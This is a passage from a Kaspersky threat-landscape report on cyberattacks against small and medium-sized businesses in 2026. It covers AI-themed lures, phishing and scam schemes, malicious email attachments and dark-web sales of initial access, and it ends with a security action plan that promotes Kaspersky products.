Share of attacks targeting SMBs in which malware or PUAs mimic the six popular office applications and collaboration tools covered by Kaspersky’s research, first four months of 2025 and 2026 (download)

In 2026, AI-related baits have become more widespread among cybercriminals than traditional fake office and collaboration tools. Kaspersky experts note that the more publicity and hype there is around certain tools, the more likely a user is to come across a fake package online.

Scammers and phishers tricking victims into providing credentials and funds

In 2026, Kaspersky researchers observed a wide range of phishing campaigns and scams targeting businesses and entrepreneurs. Fraudsters mimic financial and AI services as well as other platforms in order to steal credentials, personal information and funds.

In the following example, fraudsters disguise themselves as a bank that allegedly offers services for businesses (in other similar schemes they may offer business loans). Entrepreneurs are prompted to visit a scam website and enter their data to open a business account. The requested information varies depending on the scam, but may include name, email address, phone number, social security number, date of birth and address. Scammers may then use this data in their schemes or sell it on the dark web.

Kaspersky experts advise: if you encounter such a website, you should not rush to enter any data. First, examine it. Does the purported financial organization actually exist? How old is the website? Check the WHOIS records and read user reviews before entering any information on the page.

As with many other cyberthreats, AI services are also leveraged as a lure in scams. For example, Kaspersky experts identified a scam website for an AI service “built for contractors”. According to the text on the fraudulent page, the tool can help with “estimates, invoices and schedule”. However, in reality, in such schemes victims usually receive nothing after paying for a subscription, while the scammers get all the money.

Kaspersky experts note that business accounts on social networks and messengers remain attractive targets for cybercriminals in 2026. In one scheme, phishers distributed notifications with fake alerts related to companies’ business pages. The notifications claimed that Facebook’s review system had detected behavior that seriously violated its Community Standards and Advertising Policies. To avoid permanent restriction of their business page on the social network, owners were prompted to fill out an appeal form and provide personal and business email addresses, phone numbers, as well as the name of their business page and the password for their social network account. The attackers’ goal was to obtain credentials. To reduce user vigilance  and appear legitimate, fraudsters also sent victims a fake appeal code.

Email threats: Fake online documents and exploitation of legitimate platforms

Email remains one of the most widely used channels for cyberattacks targeting enterprises, including small and medium-sized businesses. In 2026, attackers have frequently combined email distribution with the exploitation of legitimate third-party platforms. This is how phishers and scammers usually attempt to bypass traditional email filters and exploit user trust in reputable services. Kaspersky researchers have also observed a large number of schemes targeting corporate users in which phishers and scammers use fake online documents or nonexistent meetings as bait.

In one recent scheme detected by Kaspersky, the attackers sent a fake notification disguised as a letter from OneDrive. The victim was prompted to access the document by clicking a button, but in reality, it led to a phishing website where users risked losing their confidential data. To make the email appear legitimate, the attackers added a phrase designed to  lower the victim’s vigilance: “This item is encrypted and hosted within your secure cloud perimeter.” They also parsed the recipient’s email address and used the extracted data in the fake notification text so that the email looked like a standard notification from this type of service: “[email address domain as company name] has successfully uploaded a new file for [the user’s name as stated in their email address].”

Attackers also use other pretexts to trick victims into sharing confidential information, for example fake compliance issues. In the example below, the attackers posed as Apple representatives. The fake notification stated: “Apple has identified a compliance issue related to Google Ads campaigns directing traffic to Apple product detail pages associated with the victim’s seller account.” However, the button in the email led to a phishing website where users are tricked into sharing confidential data.

Kaspersky experts observed another notable two-stage scheme aimed at stealing credentials from corporate emails, which involved distributing an invitation to a nonexistent meeting. The scheme is deployed in two stages. In stage one, a corporate user receives an email about a fictitious meeting. After clicking the “Accept Meeting Invitation” button, the user is redirected to a legitimate Zoom Docs (previous Zoom canvas brand) page. In stage two, the victim is prompted to click a hyperlink that reads “Click Here to Accept Meeting”. However, the URL of a phishing page is hidden behind this hyperlink.

Malware is also actively distributed via email. In 2025, individuals and corporate users encountered over 144 million malicious and potentially unwanted email attachments, representing a 15% increase from the previous year.

Kaspersky experts note that the lures used in subject lines and texts of malicious emails can appear relatively harmless and rather unsophisticated. In the example below, the attackers target businesses with a fake request for “the best quote for the items attached.” However, the attached file actually contains a Trojan.

Corporate infrastructure access for sale: Posts on the dark web

To assess threat actor activity, Kaspersky Digital Footprint Intelligence experts analyzed hundreds of posts offering initial access to corporate infrastructures published on dark web forums from January to April of both 2025 and 2026. Kaspersky experts note that a single post may contain several offers for access to different allegedly compromised companies.

Initial access brokers (IABs) sell initial access to compromised businesses, for example, via RDP or web shells. In their posts, IABs may provide information about the region where the allegedly compromised companies are located, their industry and revenue, as well as the type of access. IABs sell access that the buyers can then use for different purposes, including ransomware attacks, stealing corporate confidential information or other fraudulent activity. The price of initial access on dark web forums may depend on the revenue, industry or location of the allegedly compromised companies, or on the access privileges. For example, accounts with admin rights are usually more expensive because they can provide attackers with a wide range of possibilities.

According to the research, there were more posts offering initial access to companies of different sizes located in the Middle East (up 53% from last year), Africa (up 40%) and Latin America (up 17%). Meanwhile the number of posts related to companies located in Europe decreased by 34%. According to Kaspersky experts, this decline can be partially explained by the closure of a dark web forum containing such posts around the time of the study. The number of publications related to companies located in the APAC region also decreased slightly (down 4%), but remained at a consistently significant level for the second year in a row.
At the same time, the number of posts where the region was not specified decreased by 56% in 2026 compared to the previous year. Kaspersky analysts assume that this may indicate that initial access posts from IABs are becoming more targeted and unique.

Share of posts with initial access offers by business size

For this research, Kaspersky experts defined a small business as having an annual revenue of up to US$50 million, and a medium-sized business as having an annual revenue of between US$50 million and US$1 billion.

According to Kaspersky’s research, at the beginning of 2026 the share of posts on dark web forums with offers of initial access to allegedly compromised small businesses was larger than the shares of posts offering access to medium, large or nonprofit organizations. However, this share decreased in the first four months of 2026 compared to the same period in 2025. The share of posts concerning medium‑sized organizations also remained significant for two consecutive years. Taken together, posts concerning small and medium‑sized organizations account for more than half of all the analyzed posts with initial access offers on dark web forums.

At the same time for a certain number of posts initial access brokers didn’t indicate companies’ revenue, therefore, making it impossible to determine the size of the company.

Share of posts with initial access offers by business size, January–April 2025 (download)

Share of posts with initial access offers by business size, January–April 2026 (download)

Kaspersky experts note that despite the prevalence of posts concerning small businesses, threat actors may target medium‑sized businesses because they generate higher revenues than small businesses and may have weaker security defenses than large businesses.

SMBs can also become targets as a part of trusted relationship attacks, which enable the attackers to reach larger organizations. According to the Global Report by Kaspersky Security Services, the share of trusted relationship attacks among the initial vectors increased from 12.7% in 2024 to 15.5% in 2025. Therefore, the common belief that small and medium‑sized enterprises are of no interest to attackers is a misconception. Companies of all sizes need to understand the cyberthreat landscape, adhere to cybersecurity rules, implement appropriate cybersecurity solutions, and continuously improve employee awareness.

Cybersecurity action plan for SMBs

SMBs can reduce risks and ensure business continuity by investing in comprehensive cybersecurity solutions and increasing employee awareness. To protect themselves from the ever-evolving threat landscape, companies are advised to follow these rules:

1. Define access rules for corporate resources such as internet services, email accounts, shared folders, and online documents. Keep access lists up to date and revoke access promptly when employees leave the company.
2. Regularly back up important data to ensure the preservation of corporate information in case of emergencies.
3. Establish clear guidelines for using external services and resources. Create well-defined procedures for coordinating specific tasks, such as implementing new software, with the IT department and other responsible managers. Develop short, easy-to-understand cybersecurity guidelines for employees, with a special focus on account and password management, email protection, and safe web browsing. A well-rounded training program will equip employees with the necessary knowledge and ability to apply it in practice.
4. Raise employees’ security awareness. Conduct dedicated training to teach staff how to detect and address potential threats, and track their educational progress. Organizations can achieve this with the Kaspersky Automated Security Awareness Platform through interactive online modules and simulated phishing campaigns that build sustainable cyber hygiene habits across all teams.
5. Implement specialized cybersecurity solutions that fit your budget, size, and industry requirements, with an emphasis on scalability and ease of integration.
   1. Kaspersky Small Office Security Premium is an easy-to-use solution that protects against advanced threats and also provides access to security awareness training for employees, making it ideal for micro-businesses.
   2. Small and medium-sized enterprises with more mature IT expertise should consider Kaspersky Next Optimum, which is designed specifically for growing organizations and offers real-time protection, threat visibility, as well as EDR and XDR investigation and response capabilities.
6. Protect your business against email-borne threats. Kaspersky Security for Mail Server, a comprehensive email security platform that offers robust, multi-layered protection at mailbox and gateway levels, can help with this. Powered by machine learning and leading global threat intelligence, it effectively addresses all mail security challenges.
7. Adopt specialized solutions such as Kaspersky Digital Footprint Intelligence to monitor the surface, deep, and dark webs for information about a company’s credentials, leaked data, and lookalike websites. Small and medium-sized companies with limited IT security budgets can partner with a managed security service provider (MSSP) to access this comprehensive digital risk protection service at an affordable, subscription-based price point.